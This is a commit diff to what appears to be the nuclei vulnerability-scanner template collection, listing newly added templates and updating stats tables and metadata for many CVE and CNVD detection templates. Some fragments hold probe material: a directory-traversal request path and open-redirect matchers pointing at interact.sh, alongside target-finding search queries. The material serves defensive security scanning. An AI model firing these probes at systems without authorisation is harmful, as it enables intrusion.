Auto Generated New Template Addition List [Sat Nov 5 04:28:56 UTC 2022] 🤖

Eko Charger softwares

.new-additions

@@ -1,40 +1,50 @@
-cves/2016/CVE-2016-10368.yaml
-cves/2017/CVE-2017-17736.yaml
-cves/2019/CVE-2019-8086.yaml
-cves/2020/CVE-2020-13820.yaml
-cves/2020/CVE-2020-20285.yaml
-cves/2020/CVE-2020-20300.yaml
-cves/2020/CVE-2020-2733.yaml
-cves/2021/CVE-2021-25104.yaml
-cves/2021/CVE-2021-36873.yaml
-cves/2022/CVE-2021-22911.yaml
-cves/2022/CVE-2022-1910.yaml
-cves/2022/CVE-2022-2546.yaml
-cves/2022/CVE-2022-2551.yaml
-cves/2022/CVE-2022-2633.yaml
-cves/2022/CVE-2022-31814.yaml
-cves/2022/CVE-2022-38553.yaml
-default-logins/aem/aem-felix-console.yaml
-default-logins/oracle/peoplesoft-default-login.yaml
-default-logins/prtg-default-login.yaml
-exposed-panels/aircube-login.yaml
-exposed-panels/oracle-business-intelligence.yaml
-exposed-panels/remedy-axis-login.yaml
-exposed-panels/somansa-dlp-detect.yaml
-exposed-panels/wampserver-homepage.yaml
-exposed-panels/webpagetest-panel.yaml
-exposures/files/sendgrid-env.yaml
-file/bash/bash.yaml
-misconfiguration/aem/aem-bulkeditor.yaml
-misconfiguration/aem/aem-custom-script.yaml
-misconfiguration/aem/aem-dump-contentnode.yaml
-misconfiguration/atlassian-bamboo-build.yaml
-misconfiguration/gitea-public-signup.yaml
-misconfiguration/unauth-kubecost.yaml
-technologies/moveit-transfer-detect.yaml
-technologies/oracle/oracle-access-manager-detect.yaml
-technologies/xenforo-detect.yaml
-technologies/zend-server-test-page.yaml
-vulnerabilities/other/webpagetest-ssrf.yaml
-vulnerabilities/wordpress/age-gate-xss.yaml
-vulnerabilities/wordpress/unauthenticated-duplicator-disclosure.yaml
+cves/2021/CVE-2021-25003.yaml
+cves/2021/CVE-2021-40661.yaml
+cves/2022/CVE-2022-0817.yaml
+cves/2022/CVE-2022-22242.yaml
+cves/2022/CVE-2022-38870.yaml
+cves/2022/CVE-2022-42233.yaml
+default-logins/xnat-default-login.yaml
+exposed-panels/allied-telesis-exposure.yaml
+exposed-panels/ampache-panel.yaml
+exposed-panels/biotime-panel.yaml
+exposed-panels/cisco/cisco-anyconnect-vpn.yaml
+exposed-panels/connectwise-backup-manager.yaml
+exposed-panels/eko-management-console-login.yaml
+exposed-panels/eko-software-update-panel.yaml
+exposed-panels/gira-homeserver-homepage.yaml
+exposed-panels/hangfire-dashboard.yaml
+exposed-panels/labkey-server-login.yaml
+exposed-panels/nginx-admin-panel.yaml
+exposed-panels/nginx-ui-dashboard.yaml
+exposed-panels/nport-web-console.yaml
+exposed-panels/ourmgmt3-panel.yaml
+exposed-panels/xiaomi-wireless-router-login.yaml
+exposed-panels/xnat-login.yaml
+misconfiguration/ampache-update-exposure.yaml
+misconfiguration/debug/ampache-debug.yaml
+misconfiguration/debug/bottle-debug.yaml
+misconfiguration/debug/flask-werkzeug-debug.yaml
+misconfiguration/debug/github-debug.yaml
+misconfiguration/espeasy-mega-exposure.yaml
+misconfiguration/global-traffic-statistics.yaml
+misconfiguration/healthchecks-ui-exposure.yaml
+misconfiguration/hfs-exposure.yaml
+misconfiguration/installer/ampache-music-installer.yaml
+misconfiguration/installer/espeasy-installer.yaml
+misconfiguration/installer/moodle-installer.yaml
+misconfiguration/installer/sms-installer.yaml
+misconfiguration/questdb-console.yaml
+misconfiguration/qvidium-management-system-exposed.yaml
+misconfiguration/rekognition-image-validation.yaml
+misconfiguration/smarterstats-setup.yaml
+network/detection/activemq-openwire-transport-detect.yaml
+network/detection/apache-activemq-detect.yaml
+network/detection/axigen-mail-server-detect.yaml
+network/detection/rabbitmq-detect.yaml
+network/detection/riak-detect.yaml
+technologies/catalog-creator-detect.yaml
+technologies/coming-soon-page-detect.yaml
+technologies/google/cloud-run-default-page.yaml
+technologies/php-detect.yaml
+technologies/vivotex-web-console-detect.yaml

.nuclei-ignore

@@ -16,8 +16,23 @@ tags:
   - "fuzz"
   - "dos"
 
+# The following templates have been excluded because they have weak matchers and may generate FP results.
+# Please feel free to create PR if you can update the templates with strict matchers.
+
 # files is a list of files to ignore template execution
 # unless asked for by the user.
 
-# files:
-#  - cves/2020/CVE-2020-35489.yaml
+files:
+  - cves/2006/CVE-2006-1681.yaml
+  - cves/2007/CVE-2007-5728.yaml
+  - cves/2014/CVE-2014-9608.yaml
+  - cves/2018/CVE-2018-5233.yaml
+  - cves/2019/CVE-2019-14696.yaml
+  - cves/2020/CVE-2020-11930.yaml
+  - cves/2020/CVE-2020-19295.yaml
+  - cves/2020/CVE-2020-2036.yaml
+  - cves/2020/CVE-2020-28351.yaml
+  - cves/2021/CVE-2021-35265.yaml
+  - vulnerabilities/generic/basic-xss-prober.yaml
+  - vulnerabilities/oracle/oracle-ebs-xss.yaml
+  - vulnerabilities/other/nginx-module-vts-xss.yaml

README.md

@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,
 
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1444 | daffainfo     |   631 | cves             |  1421 | info     |  1482 | http    |  3894 |
-| panel     |   663 | dhiyaneshdk   |   594 | exposed-panels   |   670 | high     |  1031 | file    |    76 |
-| edb       |   565 | pikpikcu      |   329 | vulnerabilities  |   513 | medium   |   818 | network |    52 |
-| lfi       |   513 | pdteam        |   269 | technologies     |   283 | critical |   483 | dns     |    17 |
-| xss       |   496 | geeknik       |   192 | exposures        |   280 | low      |   228 |         |       |
-| wordpress |   422 | dwisiswant0   |   169 | misconfiguration |   240 | unknown  |    11 |         |       |
-| exposure  |   415 | 0x_akoko      |   166 | token-spray      |   230 |          |       |         |       |
-| cve2021   |   353 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| rce       |   338 | ritikchaddha  |   137 | default-logins   |   103 |          |       |         |       |
-| wp-plugin |   319 | pussycat0x    |   133 | file             |    76 |          |       |         |       |
+| cve       |  1504 | dhiyaneshdk   |   677 | cves             |  1482 | info     |  1579 | http    |  4129 |
+| panel     |   721 | daffainfo     |   656 | exposed-panels   |   727 | high     |  1118 | file    |    77 |
+| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   518 | medium   |   810 | network |    63 |
+| xss       |   525 | pdteam        |   273 | misconfiguration |   305 | critical |   532 | dns     |    17 |
+| lfi       |   517 | geeknik       |   196 | technologies     |   299 | low      |   242 |         |       |
+| exposure  |   487 | dwisiswant0   |   171 | exposures        |   299 | unknown  |    20 |         |       |
+| wordpress |   453 | 0x_akoko      |   167 | token-spray      |   235 |          |       |         |       |
+| cve2021   |   363 | pussycat0x    |   151 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   348 | princechaddha |   151 | default-logins   |   110 |          |       |         |       |
+| rce       |   342 | ritikchaddha  |   149 | file             |    77 |          |       |         |       |
 
-**297 directories, 4270 files**.
+**306 directories, 4520 files**.
 
 </td>
 </tr>

TEMPLATES-STATS.json

@@ -1 +1 @@
-{"tags":[{"name":"cve","count":1444},{"name":"panel","count":663},{"name":"edb","count":565},{"name":"lfi","count":513},{"name":"xss","count":496},{"name":"wordpress","count":422},{"name":"exposure","count":415},{"name":"cve2021","count":353},{"name":"rce","count":338},{"name":"wp-plugin","count":319},{"name":"tech","count":297},{"name":"packetstorm","count":277},{"name":"token-spray","count":230},{"name":"wpscan","count":215},{"name":"cve2020","count":213},{"name":"cve2022","count":197},{"name":"","count":195},{"name":"unauth","count":160},{"name":"config","count":151},{"name":"cve2018","count":144},{"name":"kev","count":142},{"name":"wp","count":137},{"name":"cve2019","count":135},{"name":"joomla","count":133},{"name":"apache","count":122},{"name":"default-login","count":119},{"name":"iot","count":117},{"name":"oast","count":113},{"name":"cve2010","count":111},{"name":"misconfig","count":110},{"name":"sqli","count":98},{"name":"authenticated","count":93},{"name":"login","count":87},{"name":"redirect","count":87},{"name":"router","count":86},{"name":"takeover","count":74},{"name":"token","count":72},{"name":"devops","count":72},{"name":"ssrf","count":69},{"name":"cve2017","count":67},{"name":"auth-bypass","count":62},{"name":"cms","count":62},{"name":"file","count":60},{"name":"intrusive","count":57},{"name":"oracle","count":57},{"name":"network","count":56},{"name":"disclosure","count":53},{"name":"seclists","count":52},{"name":"cve2016","count":48},{"name":"cve2015","count":47},{"name":"cisco","count":47},{"name":"google","count":46},{"name":"fileupload","count":45},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"adobe","count":40},{"name":"oss","count":39},{"name":"logs","count":36},{"name":"aem","count":36},{"name":"vulhub","count":36},{"name":"atlassian","count":36},{"name":"traversal","count":36},{"name":"vmware","count":35},{"name":"injection","count":33},{"name":"tenable","count":33},{"name":"jira","count":32},{"name":"listing","count":31},{"name":"hackerone","count":31},{"name":"generic","count":28},{"name":"huntr","count":28},{"name":"springboot","count":28},{"name":"kubernetes","count":27},{"name":"dns","count":27},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"log4j","count":25},{"name":"proxy","count":23},{"name":"microsoft","count":23},{"name":"debug","count":22},{"name":"jndi","count":22},{"name":"zoho","count":21},{"name":"misc","count":21},{"name":"manageengine","count":21},{"name":"aws","count":21},{"name":"wp-theme","count":21},{"name":"php","count":20},{"name":"cve2012","count":20},{"name":"fuzz","count":20},{"name":"weblogic","count":19},{"name":"tomcat","count":19},{"name":"camera","count":19},{"name":"deserialization","count":19},{"name":"service","count":18},{"name":"cloud","count":18},{"name":"k8s","count":18},{"name":"dlink","count":18},{"name":"ibm","count":18},{"name":"api","count":18},{"name":"wavlink","count":17},{"name":"jenkins","count":17},{"name":"firewall","count":17},{"name":"struts","count":16},{"name":"cicd","count":16},{"name":"xxe","count":15},{"name":"gitlab","count":15},{"name":"cve2009","count":15},{"name":"cve2011","count":15},{"name":"java","count":14},{"name":"printer","count":14},{"name":"hp","count":14},{"name":"domainmod","count":14},{"name":"android","count":14},{"name":"msf","count":13},{"name":"lfr","count":13},{"name":"ruijie","count":13},{"name":"cve2013","count":13},{"name":"abstractapi","count":13},{"name":"status","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"confluence","count":12},{"name":"drupal","count":12},{"name":"netgear","count":12},{"name":"magento","count":12},{"name":"microweber","count":12},{"name":"nginx","count":12},{"name":"rails","count":12},{"name":"ftp","count":12},{"name":"woocommerce","count":11},{"name":"cnvd2021","count":11},{"name":"amazon","count":11},{"name":"cve2008","count":11},{"name":"glpi","count":11},{"name":"backdoor","count":11},{"name":"azure","count":11},{"name":"airflow","count":11},{"name":"cisa","count":11},{"name":"backup","count":11},{"name":"dell","count":10},{"name":"spring","count":10},{"name":"grafana","count":10},{"name":"jolokia","count":10},{"name":"django","count":10},{"name":"coldfusion","count":10},{"name":"laravel","count":10},{"name":"fortigate","count":10},{"name":"github","count":10},{"name":"zyxel","count":10},{"name":"wso2","count":9},{"name":"mirai","count":9},{"name":"zabbix","count":9},{"name":"ruby","count":9},{"name":"phpmyadmin","count":9},{"name":"vcenter","count":9},{"name":"fortinet","count":9},{"name":"ssl","count":9},{"name":"webserver","count":9},{"name":"auth","count":9},{"name":"fastjson","count":9},{"name":"windows","count":9},{"name":"kube","count":9},{"name":"iis","count":9},{"name":"dedecms","count":9},{"name":"prometheus","count":9},{"name":"metadata","count":8},{"name":"headless","count":8},{"name":"blind","count":8},{"name":"hms","count":8},{"name":"config-audit","count":8},{"name":"vpn","count":8},{"nLine truncated
+{"tags":[{"name":"cve","count":1504},{"name":"panel","count":721},{"name":"edb","count":574},{"name":"xss","count":525},{"name":"lfi","count":517},{"name":"exposure","count":487},{"name":"wordpress","count":453},{"name":"cve2021","count":363},{"name":"wp-plugin","count":348},{"name":"rce","count":342},{"name":"tech","count":312},{"name":"packetstorm","count":290},{"name":"wpscan","count":240},{"name":"cve2022","count":236},{"name":"token-spray","count":235},{"name":"cve2020","count":217},{"name":"","count":195},{"name":"misconfig","count":182},{"name":"unauth","count":181},{"name":"wp","count":170},{"name":"kev","count":167},{"name":"config","count":162},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"oast","count":127},{"name":"default-login","count":126},{"name":"apache","count":124},{"name":"iot","count":118},{"name":"authenticated","count":116},{"name":"cve2010","count":111},{"name":"sqli","count":107},{"name":"redirect","count":89},{"name":"files","count":89},{"name":"router","count":89},{"name":"login","count":88},{"name":"devops","count":75},{"name":"takeover","count":74},{"name":"token","count":73},{"name":"ssrf","count":72},{"name":"cve2017","count":70},{"name":"cms","count":67},{"name":"network","count":67},{"name":"auth-bypass","count":63},{"name":"file","count":63},{"name":"oracle","count":62},{"name":"intrusive","count":58},{"name":"seclists","count":56},{"name":"disclosure","count":54},{"name":"cve2016","count":49},{"name":"cisco","count":48},{"name":"cve2015","count":47},{"name":"install","count":47},{"name":"google","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"oss","count":45},{"name":"plugin","count":41},{"name":"aem","count":41},{"name":"cve2014","count":41},{"name":"vulhub","count":38},{"name":"vmware","count":38},{"name":"atlassian","count":37},{"name":"logs","count":36},{"name":"tenable","count":35},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":33},{"name":"jira","count":32},{"name":"hackerone","count":32},{"name":"listing","count":31},{"name":"kubernetes","count":29},{"name":"generic","count":28},{"name":"huntr","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"sap","count":25},{"name":"cnvd","count":25},{"name":"microsoft","count":24},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"misc","count":23},{"name":"debug","count":22},{"name":"aws","count":22},{"name":"zoho","count":21},{"name":"wp-theme","count":21},{"name":"php","count":21},{"name":"manageengine","count":21},{"name":"fuzz","count":21},{"name":"weblogic","count":20},{"name":"cve2012","count":20},{"name":"camera","count":19},{"name":"api","count":19},{"name":"tomcat","count":19},{"name":"deserialization","count":19},{"name":"cloud","count":19},{"name":"k8s","count":19},{"name":"cicd","count":19},{"name":"ibm","count":18},{"name":"dlink","count":18},{"name":"service","count":18},{"name":"firewall","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"ftp","count":17},{"name":"struts","count":16},{"name":"cve2009","count":15},{"name":"xxe","count":15},{"name":"gitlab","count":15},{"name":"cve2011","count":15},{"name":"java","count":14},{"name":"msf","count":14},{"name":"printer","count":14},{"name":"fortinet","count":14},{"name":"android","count":14},{"name":"hp","count":14},{"name":"domainmod","count":14},{"name":"magento","count":13},{"name":"amazon","count":13},{"name":"lfr","count":13},{"name":"cve2013","count":13},{"name":"status","count":13},{"name":"abstractapi","count":13},{"name":"glpi","count":13},{"name":"nginx","count":13},{"name":"woocommerce","count":13},{"name":"ruijie","count":13},{"name":"confluence","count":12},{"name":"graphql","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"netsweeper","count":12},{"name":"microweber","count":12},{"name":"drupal","count":12},{"name":"backdoor","count":11},{"name":"fortigate","count":11},{"name":"airflow","count":11},{"name":"backup","count":11},{"name":"webserver","count":11},{"name":"cisa","count":11},{"name":"cnvd2021","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cve2008","count":11},{"name":"jolokia","count":10},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"zyxel","count":10},{"name":"github","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"ruby","count":10},{"name":"vpn","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"kube","count":9},{"name":"git","count":9},{"name":"prometheus","count":9},{"name":"wso2","count":9},{"name":"fastjson","count":9},{"name":"sonicwall","count":9},{"name":"vcenter","count":9},{"name":"phpmyadmin","count":9},{"name":"windows","count":9},{"name":"zabbix","count":9},{"name":"zimbra","count":9},{"name":"dedecms","count":9},{"name":"ssti","count":9},{"name":"auth","count":9},{"name":"iis","count":9},{Line truncated

TOP-10.md

@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
 |-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1444 | daffainfo     |   631 | cves             |  1421 | info     |  1482 | http    |  3894 |
-| panel     |   663 | dhiyaneshdk   |   594 | exposed-panels   |   670 | high     |  1031 | file    |    76 |
-| edb       |   565 | pikpikcu      |   329 | vulnerabilities  |   513 | medium   |   818 | network |    52 |
-| lfi       |   513 | pdteam        |   269 | technologies     |   283 | critical |   483 | dns     |    17 |
-| xss       |   496 | geeknik       |   192 | exposures        |   280 | low      |   228 |         |       |
-| wordpress |   422 | dwisiswant0   |   169 | misconfiguration |   240 | unknown  |    11 |         |       |
-| exposure  |   415 | 0x_akoko      |   166 | token-spray      |   230 |          |       |         |       |
-| cve2021   |   353 | princechaddha |   151 | workflows        |   190 |          |       |         |       |
-| rce       |   338 | ritikchaddha  |   137 | default-logins   |   103 |          |       |         |       |
-| wp-plugin |   319 | pussycat0x    |   133 | file             |    76 |          |       |         |       |
+| cve       |  1504 | dhiyaneshdk   |   677 | cves             |  1482 | info     |  1579 | http    |  4129 |
+| panel     |   721 | daffainfo     |   656 | exposed-panels   |   727 | high     |  1118 | file    |    77 |
+| edb       |   574 | pikpikcu      |   338 | vulnerabilities  |   518 | medium   |   810 | network |    63 |
+| xss       |   525 | pdteam        |   273 | misconfiguration |   305 | critical |   532 | dns     |    17 |
+| lfi       |   517 | geeknik       |   196 | technologies     |   299 | low      |   242 |         |       |
+| exposure  |   487 | dwisiswant0   |   171 | exposures        |   299 | unknown  |    20 |         |       |
+| wordpress |   453 | 0x_akoko      |   167 | token-spray      |   235 |          |       |         |       |
+| cve2021   |   363 | pussycat0x    |   151 | workflows        |   190 |          |       |         |       |
+| wp-plugin |   348 | princechaddha |   151 | default-logins   |   110 |          |       |         |       |
+| rce       |   342 | ritikchaddha  |   149 | file             |    77 |          |       |         |       |

cnvd/2017/CNVD-2017-03561.yaml

@@ -1,11 +1,13 @@
 id: CNVD-2017-03561
 
 info:
-  name: Panwei e-mobile - Ognl Injection
+  name: Panwei eMobile - OGNL Injection
   author: ritikchaddha
   severity: high
+  description: Panwei eMobile contains an object graph navigation library vulnerability. An attacker can inject arbitrary JavaScript, thus possibly obtaining sensitive information from a database, modifying data, and executing unauthorized administrative operations in the context of the affected site.
   reference:
     - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md
+    - https://reconshell.com/vulnerability-research-list/
   metadata:
     verified: true
     fofa-query: app="泛微-eMobile"
@@ -32,3 +34,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/09/30

cnvd/2018/CNVD-2018-13393.yaml

@@ -18,7 +18,7 @@ requests:
     path:
       - '{{BaseURL}}/include/thumb.php?dir=http\..\admin\login\login_check.php'
 
-    redirects: true
+    host-redirects: true
     max-redirects: 2
     matchers-condition: and
     matchers:

cnvd/2020/CNVD-2020-56167.yaml

@@ -1,11 +1,13 @@
 id: CNVD-2020-56167
 
 info:
-  name: Ruijie Smartweb Default Password
+  name: Ruijie Smartweb - Default Password
   author: pikpikcu
   severity: low
+  description: Ruijie Smartweb contains a vulnerability via the default password. An attacker can successfully bypass entering required credentials, thus possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
   reference:
     - https://www.cnvd.org.cn/flaw/show/CNVD-2020-56167
+    - https://securityforeveryone.com/tools/ruijie-smartweb-default-password-scanner
   tags: ruijie,default-login,cnvd,cnvd2020
 
 requests:
@@ -28,3 +30,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/09/30

cnvd/2021/CNVD-2021-09650.yaml

@@ -1,12 +1,14 @@
 id: CNVD-2021-09650
 
 info:
-  name: Ruijie EWEB Gateway Platform - Remote Command Injection
-  author: daffainfo
+  name: Ruijie Networks-EWEB Network Management System - Remote Code Execution
+  author: daffainfo,pikpikcu
   severity: critical
   description: Ruijie EWEB Gateway Platform is susceptible to remote command injection attacks.
   reference:
     - http://j0j0xsec.top/2021/04/22/%E9%94%90%E6%8D%B7EWEB%E7%BD%91%E5%85%B3%E5%B9%B3%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
+    - https://github.com/yumusb/EgGateWayGetShell_py/blob/main/eg.py
+    - https://www.ruijienetworks.com
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
     cvss-score: 10.0

cves/2008/CVE-2008-1061.yaml

@@ -10,7 +10,7 @@ info:
     - https://www.exploit-db.com/exploits/5194
     - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
     - https://nvd.nist.gov/vuln/detail/CVE-2008-1061
-    - http://secunia.com/advisories/29099
+    - http://securityreason.com/securityalert/3706
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
     cvss-score: 7.2

cves/2010/CVE-2010-1980.yaml

@@ -4,7 +4,7 @@ info:
   name: Joomla! Component Joomla! Flickr 1.0 - Local File Inclusion
   author: daffainfo
   severity: high
-  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
+  description: A directory traversal vulnerability in joomlaflickr.php in the Joomla! Flickr (com_joomlaflickr) component 1.0.3 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
   reference:
     - https://www.exploit-db.com/exploits/12085
     - https://www.cvedetails.com/cve/CVE-2010-1980

cves/2010/CVE-2010-2033.yaml

@@ -1,7 +1,7 @@
 id: CVE-2010-2033
 
 info:
-  name: Joomla Percha Categories Tree 0.6 - Local File Inclusion
+  name: Joomla! Percha Categories Tree 0.6 - Local File Inclusion
   author: daffainfo
   severity: high
   description: A directory traversal vulnerability in the Percha Fields Attach (com_perchafieldsattach) component 1.x for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

cves/2014/CVE-2014-4942.yaml

@@ -1,18 +1,20 @@
 id: CVE-2014-4942
 
 info:
-  name: WP EasyCart - Information Disclosure
+  name: WordPress EasyCart <2.0.6 - Information Disclosure
   author: DhiyaneshDk
   severity: low
   description: |
-    The EasyCart (wp-easycart) plugin before 2.0.6 for WordPress allows remote attackers to obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
+    WordPress EasyCart plugin before 2.0.6 contains an information disclosure vulnerability. An attacker can obtain configuration information via a direct request to inc/admin/phpinfo.php, which calls the phpinfo function.
   reference:
     - https://wpscan.com/vulnerability/64ea4135-eb26-4dea-a13f-f4c1deb77150
     - https://codevigilant.com/disclosure/wp-plugin-wp-easycart-information-disclosure
     - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4942
     - https://nvd.nist.gov/vuln/detail/CVE-2014-4942
   classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
     cve-id: CVE-2014-4942
+    cwe-id: CWE-200
   tags: wpscan,cve,cve2014,wordpress,wp-plugin,wp,phpinfo,disclosure
 
 requests:
@@ -39,3 +41,5 @@ requests:
         group: 1
         regex:
           - '>PHP Version <\/td><td class="v">([0-9.]+)'
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-3035.yaml

@@ -1,18 +1,21 @@
 id: CVE-2015-3035
 
 info:
-  name: Multiple TP-LINK Products Vulnerable - Local File Inclusion
+  name: TP-LINK - Local File Inclusion
   author: 0x_Akoko
   severity: high
   description: |
-    Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
+    TP-LINK is susceptible to local file inclusion in these products: Archer C5 (1.2) with firmware before 150317, Archer C7 (2.0) with firmware before 150304, and C8 (1.0) with firmware before 150316, Archer C9 (1.0), TL-WDR3500 (1.0), TL-WDR3600 (1.0), and TL-WDR4300 (1.0) with firmware before 150302, TL-WR740N (5.0) and TL-WR741ND (5.0) with firmware before 150312, and TL-WR841N (9.0), TL-WR841N (10.0), TL-WR841ND (9.0), and TL-WR841ND (10.0) with firmware before 150310.  Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed.
   reference:
     - https://seclists.org/fulldisclosure/2015/Apr/26
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
     - https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20150410-0_TP-Link_Unauthenticated_local_file_disclosure_vulnerability_v10.txt
     - http://www.tp-link.com/en/download/TL-WDR3600_V1.html#Firmware
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-3035
   classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
+    cvss-score: 8.6
     cve-id: CVE-2015-3035
+    cwe-id: CWE-22
   metadata:
     shodan-query: http.title:"TP-LINK"
     verified: "true"
@@ -32,3 +35,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-4074.yaml

@@ -1,7 +1,7 @@
 id: CVE-2015-4074
 
 info:
-  name: Joomla Helpdesk Pro plugin <1.4.0 - Local File Inclusion
+  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
   author: 0x_Akoko
   severity: high
   description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.

cves/2015/CVE-2015-4668.yaml

@@ -1,16 +1,16 @@
 id: CVE-2015-4668
 
 info:
-  name: Xsuite 2.4.4.5 - Open Redirect
+  name: Xsuite <=2.4.4.5 - Open Redirect
   author: 0x_Akoko
   severity: medium
   description: |
-    Open redirect vulnerability in Xsuite 2.4.4.5 and earlier allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirurl parameter.
+    Xsuite 2.4.4.5 and prior contains an open redirect vulnerability, which can allow a remote attacker to redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the redirurl parameter.
   reference:
     - https://www.modzero.com/advisories/MZ-15-02-Xceedium-Xsuite.txt
-    - https://www.cvedetails.com/cve/CVE-2015-4668
     - https://vuldb.com/?id.107082
     - https://www.exploit-db.com/exploits/37708/
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-4668
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
     cvss-score: 6.1
@@ -28,3 +28,5 @@ requests:
         part: header
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-5461.yaml

@@ -1,15 +1,15 @@
 id: CVE-2015-5461
 
 info:
-  name: StageShow <= 5.0.8 - Open Redirect
+  name: WordPress StageShow <5.0.9 - Open Redirect
   author: 0x_Akoko
   severity: medium
-  description: Open redirect vulnerability in the Redirect function in stageshow_redirect.php in the StageShow plugin before 5.0.9 for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the url parameter.
+  description: WordPress StageShow plugin before 5.0.9 contains an open redirect vulnerability in the Redirect function in stageshow_redirect.php. A remote attacker can redirect users to arbitrary web sites and conduct phishing attacks via a malicious URL in the url parameter.
   reference:
     - https://wpscan.com/vulnerability/afc0d5b5-280f-424f-bc3e-d04452e56e16
-    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
     - https://wordpress.org/plugins/stageshow/changelog/
     - http://seclists.org/fulldisclosure/2015/Jul/27
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5461
   classification:
     cve-id: CVE-2015-5461
   metadata:
@@ -26,3 +26,5 @@ requests:
         regex:
           - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'
         part: header
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-5469.yaml

@@ -1,14 +1,15 @@
 id: CVE-2015-5469
+
 info:
-  name: Wordpress MDC YouTube Downloader plugin v2.1.0 - Remote file download
+  name: WordPress MDC YouTube Downloader 2.1.0 - Local File Inclusion
   author: 0x_Akoko
   severity: high
-  description: Absolute path traversal vulnerability in the MDC YouTube Downloader plugin 2.1.0 for WordPress allows remote attackers to read arbitrary files via a full pathname in the file parameter to includes/download.php.
+  description: WordPress MDC YouTube Downloader 2.1.0 plugin is susceptible to local file inclusion. A remote attacker can read arbitrary files via a full pathname in the file parameter to includes/download.php.
   reference:
     - https://www.openwall.com/lists/oss-security/2015/07/10/5
-    - https://www.cvedetails.com/cve/CVE-2015-5469/
     - http://www.vapid.dhs.org/advisory.php?v=133
     - http://www.openwall.com/lists/oss-security/2015/07/10/5
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-5469
   classification:
     cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
     cvss-score: 7.5
@@ -31,3 +32,5 @@ requests:
       - type: status
         status:
           - 200
+
+# Enhanced by mp on 2022/09/30

cves/2015/CVE-2015-7245.yaml

@@ -1,11 +1,11 @@
 id: CVE-2015-7245
 
